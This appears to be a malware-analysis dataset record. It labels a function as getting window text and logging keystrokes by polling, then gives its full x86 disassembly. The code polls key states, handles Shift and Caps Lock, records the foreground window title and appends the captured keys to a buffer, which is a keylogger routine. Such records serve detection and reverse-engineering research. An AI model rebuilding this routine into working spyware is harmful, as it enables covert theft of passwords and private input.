Function at 0x401f80
Capabilities:
Get graphical window text
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405fbb
mov eax, dword fs:[0]
push eax
sub esp, 0x1e0
mov eax, dword [0x409040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
call esi
shr eax, 0xf
and eax, 0xffffff01
push 0x14
mov dword [ebp - 0x1a4], eax
call esi
test al, 1
je 0x401fd8
cmp byte [ebp - 0x1a4], 0
je 0x401fe9
push 0x14
call esi
test al, 1
jne 0x401ff2
cmp byte [ebp - 0x1a4], 0
je 0x401ff2
mov byte [ebp - 0x195], 1
jmp 0x401ff9
mov byte [ebp - 0x195], 0
mov esi, dword [0x409544]
mov byte [ebp - 0x180], 0
mov dword [ebp - 0x1a0], 0x7f
mov esi, dword [esi]
cmp byte [esi + 0xd], 0
jne 0x4024b6
nop dword [eax]
push dword [esi + 0x10]
lea eax, [esi + 0x14]
mov dword [ebp - 0x194], eax
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
mov eax, dword [ebp - 0x1a0]
jns 0x402049
mov byte [eax + 0x4094a0], 1
jmp 0x402464
cmp byte [eax + 0x4094a0], 0
je 0x402464
cmp dword [esi + 0x10], 1
jne 0x402300
push 0x16d
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edx, [ebp - 0x180]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x402082
mov eax, dword [0x4090ac]
sub edx, ecx
cmp dword [0x4090b0], 0xf
mov ecx, 0x40909c
mov dword [ebp - 0x184], edx
cmova ecx, dword [0x40909c]
cmp eax, edx
jne 0x402134
sub eax, 4
lea edx, [ebp - 0x180]
mov dword [ebp - 0x194], eax
jb 0x4020df
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4020e4
mov eax, dword [ebp - 0x194]
add ecx, 4
add edx, 4
sub eax, 4
mov dword [ebp - 0x194], eax
jae 0x4020c2
cmp eax, 0xfffffffc
je 0x402124
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x40211d
cmp dword [ebp - 0x194], 0xfffffffd
je 0x402124
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40211d
cmp dword [ebp - 0x194], 0xfffffffe
je 0x402124
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x40211d
cmp dword [ebp - 0x194], 0xffffffff
je 0x402124
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x402124
sbb eax, eax
or eax, 1
jmp 0x402126
xor eax, eax
test eax, eax
je 0x40244c
mov edx, dword [ebp - 0x184]
push edx
lea eax, [ebp - 0x180]
push eax
call fcn.00402f40
push 0x40909c
mov edx, str._current_window:
lea ecx, [ebp - 0x1ec]
call fcn.00403240
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 0
mov eax, dword [ecx + 0x14]
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 4
jb 0x40218d
cmp dword [ecx + 0x14], 0xf
lea eax, [edx + 4]
mov dword [ecx + 0x10], eax
mov eax, ecx
jbe 0x40217f
mov eax, dword [ecx]
mov dword [eax + edx], 0x6e5c5c5d
mov byte [eax + edx + 4], 0
jmp 0x4021aa
push 4
push str.__n
mov byte [ebp - 0x1a8], 0
push dword [ebp - 0x1a8]
push 4
call fcn.00403980
mov ecx, eax
movups xmm1, xmmword [ecx]
movq xmm0, qword [ecx + 0x10]
movups xmmword [ebp - 0x1d4], xmm1
mov dword [ecx + 0x10], 0
movq qword [ebp - 0x1c4], xmm0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1d4]
cmp dword [ebp - 0x1c0], 0xf
mov edx, dword [edi + 0x10]
movd eax, xmm1
mov dword [ebp - 0x190], edx
cmova ecx, eax
mov dword [ebp - 0x19c], eax
mov eax, dword [edi + 0x14]
mov dword [ebp - 0x194], ecx
sub eax, edx
mov ecx, dword [ebp - 0x1c4]
cmp ecx, eax
ja 0x40225a
cmp dword [edi + 0x14], 0xf
lea eax, [ecx + edx]
mov dword [edi + 0x10], eax
mov eax, edi
mov dword [ebp - 0x184], edi
jbe 0x40222a
mov eax, dword [edi]
mov dword [ebp - 0x184], eax
push ecx
push dword [ebp - 0x194]
add eax, edx
push eax
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x1c4]
add esp, 0xc
add eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x190]
mov edx, dword [ebp - 0x19c]
mov byte [eax + ecx], 0
jmp 0x40227c
push ecx
push dword [ebp - 0x194]
mov byte [ebp - 0x1ac], 0
push dword [ebp - 0x1ac]
push ecx
mov ecx, edi
call fcn.00403980
mov edx, dword [ebp - 0x1d4]
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x1c0]
cmp eax, 0xf
jbe 0x4022b6
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4022ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4024df
push ecx
push edx
call fcn.00405160
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1d8]
cmp ecx, 0xf
jbe 0x40244c
mov edx, dword [ebp - 0x1ec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4022f1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4024df
push ecx
push edx
call fcn.00405160
add esp, 8
jmp 0x40244c
cmp byte [ebp - 0x1a4], 0
mov ecx, dword [ebp - 0x194]
je 0x4023c0
cmp dword [ecx + 0x10], 1
jne 0x4023c0
mov edx, dword [ecx + 0x14]
mov eax, ecx
cmp edx, 0xf
jbe 0x402329
mov eax, dword [ecx]
cmp byte [eax], 0x20
je 0x4023c0
cmp edx, 0xf
jbe 0x40233f
mov ecx, dword [ecx]
mov dword [ebp - 0x194], ecx
push ecx
lea eax, [ebp - 0x1bc]
push eax
call fcn.00403e50
mov ecx, dword [ebp - 0x1b4]
cmp byte [ecx + 0xd], 0
jne 0x402365
mov eax, dword [ebp - 0x194]
mov al, byte [eax]
cmp al, byte [ecx + 0xe]
jge 0x40236b
mov ecx, dword [0x409534]
mov al, byte [ecx + 0xf]
mov ecx, dword [edi + 0x10]
mov edx, dword [edi + 0x14]
mov byte [ebp - 0x188], al
cmp ecx, edx
jae 0x4023a0
lea eax, [ecx + 1]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x40238d
mov eax, dword [edi]
add eax, ecx
mov cl, byte [ebp - 0x188]
mov byte [eax + 1], 0
mov byte [eax], cl
jmp 0x40244c
push dword [ebp - 0x188]
mov byte [ebp - 0x1b0], 0
push dword [ebp - 0x1b0]
push ecx
mov ecx, edi
call fcn.004036f0
jmp 0x40244c
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
mov dword [ebp - 0x19c], edx
jbe 0x4023d1
mov ecx, dword [ecx]
mov eax, dword [edi + 0x10]
mov dword [ebp - 0x194], eax
mov eax, dword [edi + 0x14]
sub eax, dword [ebp - 0x194]
cmp edx, eax
ja 0x402435
mov eax, dword [ebp - 0x194]
add eax, edx
mov dword [ebp - 0x184], edi
cmp dword [edi + 0x14], 0xf
mov dword [edi + 0x10], eax
jbe 0x402406
mov eax, dword [edi]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x194]
add eax, dword [ebp - 0x184]
push edx
push ecx
push eax
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x19c]
add esp, 0xc
add eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x194]
mov byte [eax + ecx], 0
jmp 0x40244c
push edx
push ecx
mov byte [ebp - 0x18c], 0
mov ecx, edi
push dword [ebp - 0x18c]
push edx
call fcn.00403980
mov eax, dword [ebp - 0x1a0]
cmp eax, 0x94
jae 0x40267f
mov byte [eax + 0x4094a0], 0
inc eax
mov dword [ebp - 0x1a0], eax
mov eax, dword [esi + 8]
cmp byte [eax + 0xd], 0
je 0x402494
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x402490
nop dword [eax]
cmp esi, dword [eax + 8]
jne 0x402490
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0xd], 0
je 0x402480
mov esi, eax
jmp 0x4024ac
mov esi, eax
mov ecx, dword [esi]
cmp byte [ecx + 0xd], 0
jne 0x4024ac
nop
mov eax, dword [ecx]
mov esi, ecx
mov ecx, eax
cmp byte [eax + 0xd], 0
je 0x4024a0
cmp byte [esi + 0xd], 0
je 0x402020
mov ecx, 0x21
mov dword [ebp - 0x194], ecx
push ecx
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, dword [ebp - 0x194]
test ax, ax
jns 0x4024e5
mov byte [ecx + 0x4094a0], 1
jmp 0x402654
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
cmp byte [ecx + 0x4094a0], 0
je 0x402654
lea eax, [ecx - 0x41]
cmp eax, 0x19
ja 0x402576
cmp byte [ebp - 0x195], 0
mov edx, dword [edi + 0x10]
mov esi, dword [edi + 0x14]
je 0x40252f
mov byte [ebp - 0x18c], cl
cmp edx, esi
jb 0x40260b
push dword [ebp - 0x18c]
mov byte [ebp - 0x1b0], 0
push dword [ebp - 0x1b0]
jmp 0x402637
lea eax, [ecx + 0x20]
mov byte [ebp - 0x188], al
cmp edx, esi
jae 0x40255e
lea eax, [edx + 1]
mov dword [edi + 0x10], eax
mov eax, edi
cmp esi, 0xf
jbe 0x40254b
mov eax, dword [edi]
add eax, edx
mov dl, byte [ebp - 0x188]
mov byte [eax + 1], 0
mov byte [eax], dl
jmp 0x402645
push dword [ebp - 0x188]
mov byte [ebp - 0x1ac], 0
push dword [ebp - 0x1ac]
jmp 0x402637
cmp byte [ebp - 0x1a4], 0
je 0x4025fb
lea eax, [ebp - 0x196]
mov byte [ebp - 0x196], cl
push eax
lea eax, [ebp - 0x1bc]
push eax
call fcn.00403e50
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [ebp - 0x194]
cmp byte [eax + 0xd], 0
jne 0x4025af
cmp cl, byte [eax + 0xe]
jge 0x4025b4
mov eax, dword [0x409534]
mov al, byte [eax + 0xf]
mov edx, dword [edi + 0x10]
mov esi, dword [edi + 0x14]
mov byte [ebp - 0x184], al
cmp edx, esi
jae 0x4025e6
lea eax, [edx + 1]
mov dword [edi + 0x10], eax
mov eax, edi
cmp esi, 0xf
jbe 0x4025d6
mov eax, dword [edi]
add eax, edx
mov dl, byte [ebp - 0x184]
mov byte [eax + 1], 0
mov byte [eax], dl
jmp 0x402645
push dword [ebp - 0x184]
mov byte [ebp - 0x19c], 0
push dword [ebp - 0x19c]
jmp 0x402637
mov edx, dword [edi + 0x10]
mov esi, dword [edi + 0x14]
mov byte [ebp - 0x190], cl
cmp edx, esi
jae 0x402624
lea eax, [edx + 1]
mov dword [edi + 0x10], eax
mov eax, edi
cmp esi, 0xf
jbe 0x40261a
mov eax, dword [edi]
mov byte [eax + edx], cl
mov byte [eax + edx + 1], 0
jmp 0x402645
push dword [ebp - 0x190]
mov byte [ebp - 0x1a8], 0
push dword [ebp - 0x1a8]
push ecx
mov ecx, edi
call fcn.004036f0
mov ecx, dword [ebp - 0x194]
cmp ecx, 0x94
jae 0x40267f
mov byte [ecx + 0x4094a0], 0
inc ecx
mov dword [ebp - 0x194], ecx
cmp ecx, 0x7e
jle 0x4024c1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00404bbf
mov esp, ebp
pop ebp
ret
call fcn.00404cef
int3